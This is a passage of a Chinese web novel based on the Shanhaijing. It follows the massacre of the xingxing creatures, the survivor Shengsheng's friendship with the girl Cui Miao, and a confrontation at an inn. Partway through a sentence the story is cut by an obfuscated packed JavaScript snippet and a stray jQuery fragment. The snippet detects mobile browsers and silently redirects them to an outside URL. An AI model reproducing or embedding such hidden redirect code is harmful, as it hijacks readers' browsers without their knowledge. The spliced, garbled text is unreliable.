生生的眼中迸发出浓烈的恨意和嘲讽。
后来,山下的人蜂拥而至,他们上不来,便成群结队跪在山脚下,祈求狌狌能够赐给他们一块肉。
起初他们都规规矩矩跪在山下,偶有心软的狌狌赠予他们一块肉,更多的人无功而返。
时间一长,没有得到肉的人心生怨恨,他们甚至想要强行上山,但有山间的迷雾屏障,他们只能在山脚打转。
不管是传说中的迷穀还是祝余,又或者是他们心心念念的狌狌,全都没能看到。
总有出头鸟,他振臂高呼:“什么神兽狌狌?不过就是一群畜生!我们找高人破了这迷障,它们的肉不还是任我们吃?”
众人纷纷点头表示赞同,他们找到了最先拿出狌狌肉,告知他们功效的那人,求他将破除迷障的方法告知他们。
青年犹豫不决:“狌狌一族于我有恩,可我辈修行者当以天下苍生为己任,我又不能放苦难者于不顾……”
“先生莫怕,只需告诉我等破除迷障的方法便可。”
青年长叹一口气:“罢了罢了。”
他将摘下的迷穀树枝交于“出头鸟”,众人千恩万谢,浩浩荡荡走了。
他们拿起菜刀、镰刀、锄头、剑、枪,每一个人手拿利器,“出头鸟”握着迷穀树枝带领队伍上山。
他们大肆捕杀狌狌,每个人都得到了一大块肉,招摇山上血流成河,丽麂之水被鲜血染红。
起初大家都很慌,以为是天神的惩罚,但没过几天,河里的血红消失殆尽,好似一切都没发生过。
百姓彻底放下心来,他们最初只是想:我只要一块肉,救救腿就好。
人的贪欲是无限的,前有大将军千两白银求狌狌肉,后有皇帝千两真金寻狌狌。
人蜂拥而至,他们砍掉迷穀,山上的迷雾再也挡不住他们,无数狌狌被抓起来售卖,一块肉炒到天价,达官贵人们依旧前仆后继。
他们沉浸在财富的海洋中,吃过狌狌肉的人突然暴毙在家中,在这个年代,死个人很正常,无人在意。
恰逢此时,城中突发怪病,喝了丽麂河水的人肚子隆起像怀了七八个月即将临盆的孕妇,且腹痛难忍,腹中有活物在蠕动
可接二连三的人死去,人们慌了,尤其是达官贵人,他们吃过不少,就算不喝丽麂河水,从病者身体中破腹而出的寄生虫也会让没喝水的人患病。
皇帝下令谁能解决这两件事就能成为国师,从此荣华富贵,一人之下万人之上。
一名叫玄钰的青年自荐,他说是枉死的狌狌怨气作祟,只要将其压制,一切迎刃而解。
他开了一家客栈,售卖油灯,他说将这盏油灯点在家中,就不会被袭击,也不会患病。
众人半信半疑,当他们点燃油灯,果真没再受到袭击,没到夜晚,家家户户总会点燃一盏猴形油灯,只有那一家名为“生生”的客栈才会售卖这种油灯。
价格低廉,人人都能用得起。
皇帝龙颜大悦,要封青年为国师,青年拒绝了,他说:“我辈修行者,只看不惯妖物作祟,不为世俗外物所扰,我要游历山河,匡扶正义。”
听说他连一锭银子都没带走,高风亮节至此,令人钦佩。
听说他走时还留下了收集怨气的阵法,将怨气压制,从此再也不会有怨气形成的怪物作祟。
生生客栈也留了下来,青年将他身边的书童留下,教他制作油灯的方法,书童成了生生客栈的掌柜,收购狌狌,售卖油灯,受万民敬仰。
山海经中记载,有兽焉,其状如禺,而白耳,伏行人走,其名曰狌狌,食之善走。(引自:山海经,南山经,鹊山)
生生是从客栈里逃出去的,掌柜很快就发现它,他派人追捕,自己留在客栈里给不安分的狌狌施加惩罚。
它朝着招摇山的方向跑,招摇山下有一片不大的林子,回到树林就是它的主场,它失去了一双眼睛,却成功甩掉追兵。
当它确认那群人类都离开了才松了口气。
它转身听见树下的动静,浑身僵硬,它看不见,不知道下面是谁,是来抓它的人吗?
扎着羊角辫的小姑娘努力仰头看着它:“小猴子!”
生生缩了缩,将自己藏在茂密的叶子中,不敢露头。
小姑娘看了一会儿就拖着比她高一半的大背篓离开了。
它饿了就找祝余吃,时时刻刻都在担心有人抓它,除了吃饭,它一直挂在树上,每天它都能看到那个小姑娘费力地拖着背篓走到招摇山脚下。
终于有一天她又站在树下,声音又轻又柔,生怕吓到它一般对它说:“你眼睛受伤了,我不是坏人,我只是想给你包扎一下。”
生生站在树上,宛若一尊沉默的雕像,族群的悲剧让它不敢轻易相信人类,即使对方只是个看起来五岁的小孩儿。
崔苗看出它并不相信她,便将自己找来的草药放到地上,自己迈着小短腿跑开了。
见她走远,生生才慢悠悠地从树上爬下来,确认那些草药都没毒才放回去,人类的东西它不会用。
崔苗每天都来,她靠坐在树下絮絮叨叨说着今天发生的事,末了她总会问一句:“你要跟我走吗?”
她得不到回应有些失望,第二天照常来。
它看不见她眼中的渴望,时间一长也知道这个小孩和它一样,没有亲人,孤苦伶仃。
崔苗担心它吃不饱,把自己摘到的果子拿给它,生生看过,一大半都有毒,不能吃,它也不知道她吃没吃到有毒的,第二天她活蹦乱跳来找它。
当天它心中的疑惑就被解开了,崔苗捡起地上的果子用袖子擦了擦张嘴就要咬下去,生生不想管,可那颗果子独特的气味窜入鼻尖,挥之不去。
它在树枝上来回踱步,当崔苗即将咬下时,它从树上一跃而下,将那颗果子打飞,又迅速蹿回树上。
它想过很多可能,或许这个人类会哭,会破口大骂,或许气愤地转头就走,可她没有。
她愣了一下:“啊?这颗果子有毒吗?”
她眉眼弯弯,声音雀跃:“谢谢你!难怪之前吃着苦苦的,原来是有毒啊!”
生生沉默,转身屁股对着她,人类的生命力真是顽强,吃一口就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702334|143783||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
魂归西天的毒果,听她的意思还吃了不少。
她到底是怎么活下来的?
崔苗来得更勤了,她坐在树下自言自语:“我叫崔苗,你叫什么?你有名字吗?”
生生蹲在树上,根本不会搭理她,只是暗自吐槽。
它们一族都叫狌狌,根本不需要名字。
“我给你起一个吧。”崔苗咯咯笑。
生生自己都没发觉,当它听到这番话时支起身子,努力探头去听,很是期待。
“就叫生生吧,生生不息,倔强顽强。”
生生不息,倔强顽强。
很适合它,它大概是这世界上唯一的狌狌了。
生生并没有意识到它很喜欢自己的名字,每当崔苗站在树下叫它的名字,它就会探出头来,听听她要说什么。
后来她们住在一起,它喜欢趴在崔苗的肩上,它受伤了,崔苗总会把它抱在怀里认真的用草药给它敷伤口,再包扎起来。
“后来呢?”
玄昼拨弄火苗,问。
生生一言不发。
后来发生的事一定是它最不愿接受的,否则不会形成这个副本。
崔苗死了吗?
生生不愿再说,玄昼也不想逼问它,她对待山海经生物总是耐心得多。
客栈掌柜换好衣服正好赶到,他铁青着脸,五官似乎都扭曲了。
他拍拍手,几个魁梧的大汉便押着崔苗和封遇玄进来,崔苗并不害怕,只是安安静静地站在那儿,与玄昼对视的瞬间弯起眉眼,笑得腼腆。
封遇玄很怕,尤其是再次走进这个房间,血腥味浓到呛人,但崔苗比他年纪小,身体弱,面色如常,他不得不假装镇定。
要是露怯,那他不就丢脸丢大发了吗?
他也故作平静。
生生是反应最大的,它看到崔苗浑身的毛发炸开,像只被激怒的刺猬,它顾不得其它,口吐人言:“你敢动她,我就杀了你!”
它的弱点表现得太明显,客栈掌柜只要手握崔苗就可以肆意驱使它。
它终究还是太单纯了些。
掌柜露出一抹得逞的笑:“想要我放了她?那你就自戕。”
生生毫不犹豫抬起爪子要把自己的心掏出来,崔苗高声制止:“生生!不准!”
生生根本不听,在它眼里,没有任何东西比崔苗更重要,即便是它自己的命,更何况它不会死。
玄昼抓住了它的尾巴,将它提起来,面色淡然,语气平静,用陈述事实的语气说:“你上次也是这么做的。”
上次?
生生瞪着她,一言不发。
玄昼和封遇玄之间,信息共享没断过。
封遇玄知道狌狌一族发生的事,那个驱妖师一定是故意的。
从他上山遇到狌狌,到下山提起老母,“万般为难”将迷穀交给百姓,再告知镇压怨气的方法,每一步精心算计,将人性的恶发挥到极致,最后还能无辜脱身。
玄昼低笑,声音冰寒:“毕竟是玄钰啊,不愧是他。”
封遇玄一怔,老祖宗认识那位驱妖师?